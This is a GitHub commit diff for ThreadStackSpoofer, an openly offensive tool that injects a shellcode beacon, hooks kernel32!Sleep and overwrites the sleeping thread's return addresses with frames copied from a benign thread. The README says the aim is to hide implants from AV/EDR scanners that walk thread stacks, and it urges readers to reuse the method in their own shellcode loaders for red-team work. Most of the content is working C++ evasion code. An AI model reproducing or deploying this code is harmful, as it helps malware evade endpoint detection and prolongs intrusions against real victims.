Skip to content

Commit 33887b0

Browse files
committed
readme
1 parent c301c6c commit 33887b0

File tree

4 files changed

+68
-9
lines changed

4 files changed

+68
-9
lines changed

README.md

Lines changed: 12 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -12,9 +12,6 @@ Especially demonstrated in this video:
1212

1313
[Nighthawk - Thread Stack Spoofing](https://vimeo.com/581861665)
1414

15-
**A note on wording** - some may argue that the technique presented in this implementation is not strictly **_Thread Stack Spoofing_** but rather _Call Stack Spoofing_ to some extent.
16-
I myself believe, that whatever wording is used here, the outcome remains similar to what was presented in an originally named technique - thus the borrowed name for this code. Since we're clobbering some pointers on the thread's stack, wouldn't we call it spoofing the stack anyway and ultimatley still resort to - _Thread Stack Spoofing_? The answer is left to the reader.
17-
1815
## How it works?
1916

2017
This program performs self-injection shellcode (roughly via classic `VirtualAlloc` + `memcpy` + `CreateThread`).
@@ -49,6 +46,17 @@ _(the above image was borrowed from **Eli Bendersky's** post named [Stack frame
4946
This precise logic is provided by `walkCallStack` and `spoofCallStack` functions in `main.cpp`.
5047

5148

49+
## Actually this is not (yet) a true stack spoofing
50+
51+
As it's been pointed out to me, the technique here is not _yet_ truely holding up to its name for being _stack spoofer_. Since we're merely overwriting return addresses on the thread's stack, we're not spoofing the rest part of the stack itself and also, in its current form, where we leave a sequence of `::CreateFileW` addresses acting as an example, we're making the stack non-unwindable. Meaning, the stack looks rather odd at first sight.
52+
53+
However I'm aware of this fact, at the moment I've left it as is since I cared mostly about automated scanners that could iterate over processes, enumerate their threads, walk those threads stacks and pick up on any return address pointing back to a non-image memory (such as `SEC_PRIVATE` - the one allocated dynamically by `VirtuaAlloc` and friends). A focused malware analyst would immediately spot the oddity and consider the thread rather unusual, hunting down our implant. More than sure about it. Yet, I don't believe that nowadays automated scanners such as AV/EDR have sorts of heuristics implemented that would _actually walk each thread's stack_ to verify whether its un-windable.
54+
55+
Surely with this project (and commercial implemention found in C2 frameworks) AV & EDR vendors have now received arguments to consider implementing these heuristics.
56+
57+
The research on this subject is not yet finished and hopefully will result in better quality Stack Spoofing in upcoming days. Nonetheless, I'm releasing what I got so far, to sparkle inspirations and interest community into better researching this area.
58+
59+
5260
## How do I use it?
5361

5462
Look at the code and its implementation, understand the concept and re-implement the concept within your own Shellcode Loaders that you utilise to deliver your Red Team engagements.
@@ -159,7 +167,7 @@ If our callback is not called, the thread will be unable to spoof its own call s
159167

160168
If that's what you want to have, than you might need to run another, watchdog thread, making sure that the Beacons thread will get spoofed whenever it sleeps.
161169

162-
If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/rsmudge/unhook-bof/pull/2) that adds optional parameter to the BOF specifying libraries that should not be unhooked.
170+
If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/Cobalt-Strike/unhook-bof/pull/1) that adds optional parameter to the BOF specifying libraries that should not be unhooked.
163171

164172
This way you can maintain your hooks in kernel32:
165173

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
<?xml version="1.0" encoding="utf-8"?>
22
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
33
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
4-
<LocalDebuggerCommandArguments>d:\dev2\ThreadStackSpoofer\ThreadStackSpoofer\x64\Debug\beacon64.bin</LocalDebuggerCommandArguments>
4+
<LocalDebuggerCommandArguments>d:\dev2\ThreadStackSpoofer\tests\beacon64.bin 1</LocalDebuggerCommandArguments>
55
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
66
</PropertyGroup>
77
</Project>

ThreadStackSpoofer/header.h

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,9 @@ struct StackTraceSpoofingMetadata
5151
LPVOID pSymGetModuleBase64;
5252
bool initialized;
5353
CallStackFrame spoofedFrame[MaxStackFramesToSpoof];
54+
CallStackFrame mimicFrame[MaxStackFramesToSpoof];
5455
size_t spoofedFrames;
56+
size_t mimickedFrames;
5557
};
5658

5759
struct HookedSleep
@@ -87,7 +89,7 @@ static const DWORD Shellcode_Memory_Protection = PAGE_EXECUTE_READ;
8789
bool hookSleep();
8890
bool injectShellcode(std::vector<uint8_t>& shellcode);
8991
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode);
90-
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames = false);
92+
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames, size_t framesToPreserve = Frames_To_Preserve);
9193
bool initStackSpoofing();
9294
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL);
9395
void spoofCallStack(bool overwriteOrRestore);

ThreadStackSpoofer/main.cpp

Lines changed: 52 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -112,7 +112,7 @@ bool hookSleep()
112112
return true;
113113
}
114114

115-
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames /*= false*/)
115+
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames, size_t framesToPreserve)
116116
{
117117
CONTEXT c = { 0 };
118118
STACKFRAME64 s = { 0 };
@@ -217,7 +217,7 @@ void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, siz
217217
// Skip first two frames as they most likely link back to our callers - and thus we can't spoof them:
218218
// MySleep(...) -> spoofCallStack(...) -> ...
219219
//
220-
if (Frame < Frames_To_Preserve)
220+
if (Frame < framesToPreserve)
221221
continue;
222222

223223
bool skipFrame = false;
@@ -267,14 +267,23 @@ void spoofCallStack(bool overwriteOrRestore)
267267
{
268268
for (size_t i = 0; i < numOfFrames; i++)
269269
{
270+
if (i > g_stackTraceSpoofing.mimickedFrames)
271+
{
272+
CallStackFrame frame = { 0 };
273+
g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame;
274+
break;
275+
}
276+
270277
auto& frame = frames[i];
278+
auto& mimicframe = g_stackTraceSpoofing.mimicFrame[i];
271279

272280
if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof)
273281
{
274282
//
275283
// We will use CreateFileW as a fake return address to place onto the thread's frame on stack.
276284
//
277-
frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
285+
//frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
286+
frame.overwriteWhat = (ULONG_PTR)mimicframe.retAddr;
278287

279288
//
280289
// We're saving original frame to later use it for call stack restoration.
@@ -445,6 +454,40 @@ bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
445454
return (NULL != thread.get());
446455
}
447456

457+
/*
458+
void _acquireLegitimateThreadStack(LPVOID param)
459+
{
460+
ULONG_PTR lowLimit = 0, highLimit = 0;
461+
ULONG stackSize = highLimit - lowLimit;
462+
GetCurrentThreadStackLimits(&lowLimit, &highLimit);
463+
464+
g_stackTraceSpoofing.legitimateStackContents.resize(stackSize, 0);
465+
memcpy(g_stackTraceSpoofing.legitimateStackContents.data(), (const void*)lowLimit, stackSize);
466+
}
467+
*/
468+
469+
bool acquireLegitimateThreadStack()
470+
{
471+
CallStackFrame frames[MaxStackFramesToSpoof] = { 0 };
472+
size_t numOfFrames = 0;
473+
474+
HandlePtr secondThread(::CreateThread(
475+
NULL,
476+
0,
477+
(LPTHREAD_START_ROUTINE)::Sleep,
478+
(LPVOID)INFINITE,
479+
0,
480+
0
481+
), &::CloseHandle);
482+
483+
Sleep(1000);
484+
485+
walkCallStack(secondThread.get(), g_stackTraceSpoofing.mimicFrame, _countof(g_stackTraceSpoofing.mimicFrame), &g_stackTraceSpoofing.mimickedFrames, false, 0);
486+
487+
return g_stackTraceSpoofing.mimickedFrames > 0;
488+
}
489+
490+
448491
int main(int argc, char** argv)
449492
{
450493
if (argc < 3)
@@ -472,6 +515,12 @@ int main(int argc, char** argv)
472515
return 1;
473516
}
474517

518+
if (!acquireLegitimateThreadStack())
519+
{
520+
log("[!] Could not acquire legitimate thread's stack.");
521+
return 1;
522+
}
523+
475524
log("[.] Hooking kernel32!Sleep...");
476525
if (!hookSleep())
477526
{

0 commit comments

Comments
 (0)